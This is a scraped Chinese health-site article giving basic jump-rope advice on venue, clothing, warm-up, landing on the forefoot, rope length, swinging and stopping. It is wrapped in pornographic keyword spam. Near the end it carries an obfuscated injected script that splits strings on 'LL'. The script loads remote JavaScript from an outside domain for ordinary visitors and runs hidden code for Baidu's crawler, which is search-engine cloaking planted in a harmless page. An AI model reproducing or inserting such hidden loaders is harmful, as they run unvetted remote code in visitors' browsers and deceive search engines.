久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當(dāng)前位置:首頁 > 健康 > 運動健身 > 正文

如何練好跳繩呢

2017-04-16 09:25:28  來源:360常識網(wǎng)   熱度:
導(dǎo)語:在我們剛接觸到體育課的時候就接觸到了跳繩這個體育項目,操作起來非常簡單,可以進(jìn)行單人跳也可以進(jìn)行雙人跳,有很多人的跳繩技術(shù)都非常高

在我們剛接觸到體育課的時候就接觸到了跳繩這個體育項目,操作起來非常簡單,可以進(jìn)行單人跳也可以進(jìn)行雙人跳,有很多人的跳繩技術(shù)都非常高,還可以變換各種花樣,跳繩是非常消耗體力的,也是一個非常適合鍛煉身體的運動項目,這個項目相對比較安全,沒有什么危險性,那么如何練好跳繩呢,我們一起來分析一下。

跳繩運動是一種極安全的運動,絕少有運動傷害的發(fā)生,即使跳躍失敗或停頓,也不會有墜落、跌倒、沖突或 被用具所傷的危險。況且跳繩者又能隨自己的身體狀況、體力及技術(shù)度來自由調(diào)節(jié)跳繩的速度及次數(shù),因此大家可安心的來練習(xí)。以下幾點是大家練習(xí)跳繩時應(yīng)注意的事項:

1.選擇適當(dāng)?shù)膱龅?/p>

灰塵多或有砂礫的場地及凹凸不平的水泥地應(yīng)避免,最好選擇鋪木板的室內(nèi)體育館或具彈性的PU場地。

2、穿著適當(dāng)?shù)姆b

跳繩時,最好穿運動服或輕便服裝,穿軟底布鞋或運動鞋,這樣活動起來會使你感到輕松舒適,也比較不會受傷。

3、充分做好準(zhǔn)備活動

跳繩是一項比較激烈的運動,練習(xí)前一定要作好身體各部位的準(zhǔn)備活動。

正確的跳繩方法

1.跳繩方法是用前腳掌起跳和落地,切記不可用全腳或腳跟落地,以免腦部受到震動,當(dāng)躍起在空中時,不要極度彎曲身體,而成為自然彎曲的姿勢。跳時,呼吸要自然有節(jié)奏

2.握繩的方法兩手分別握住繩兩端的把手,通常情況下以一腳踩住繩子中間,兩臂屈肘將小臂抬 平,繩子被拉直即為適合的長度

3.搖繩的方法向前搖時,大臂靠近身體兩側(cè),肘稍外展,小臂近似水平,用手腕發(fā)力作外展內(nèi)旋運動,使兩手在體側(cè)做畫圓動作,每搖動一次,繩子從地經(jīng)身后向上向下,回旋一周,繩子轉(zhuǎn)動的速度和手搖繩的速度成正比,搖動越快,則繩子回旋越快

4.停繩的方法向前搖時,一腳伸出,前腳掌離地,腳跟著地使繩停在腳掌下;向后搖時,則一腳后出,腳跟離地,腳掌著地,使繩停在腳底。

根據(jù)以上的分析我們知道,想要練好跳繩并不難,首先要穿著舒服的服裝和做好充分的準(zhǔn)備,怎樣跳繩才可以更加方便的進(jìn)行,跳繩看著比較簡單,實際非常的費力,想要有好的成績需要很長時間的練習(xí),慢慢的總結(jié)經(jīng)驗,慢慢進(jìn)步,這樣就會掌握了跳繩的技巧和方法。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 国产精品视频免费播放 | 国产精品亚洲欧美日韩一区在线 | 黄色一级毛片 | 在线观看日韩一区 | 国产成人精品二区 | 韩日免费视频 | 黄色毛片一级 | 天天夜夜骑 | 国产韩国精品一区二区三区 | 免费成人小视频 | 91伊人| 一区在线看 | 日韩精品一区二区三区中文在线 | 韩国三级中文字幕hd爱的色放 | 狠狠爱www人成狠狠爱综合网 | 色精品 | 免费黄色在线 | 国产精品久久久久久亚洲影视 | 日本a在线播放 | 99精品欧美一区二区三区综合在线 | 精品国产一区二区三区av小说 | www.操.com| 天天亚洲 | 美女国产精品 | 欧美五月| 看片国产| 国产电影精品久久 | 久久国产日韩 | 国产一区亚洲 | 亚洲视频第一页 | 亚洲精品女人久久 | 精品一区二区三区四区五区 | 日韩欧美国产网站 | 91秦先生艺校小琴 | 免费观看一级特黄欧美大片 | 国产精品伦理一区二区 | 欧美日韩天堂 | 欧美一级在线视频 | 国产乱码精品一品二品 | 无遮挡又黄又刺激的视频 | 国产人成免费视频 |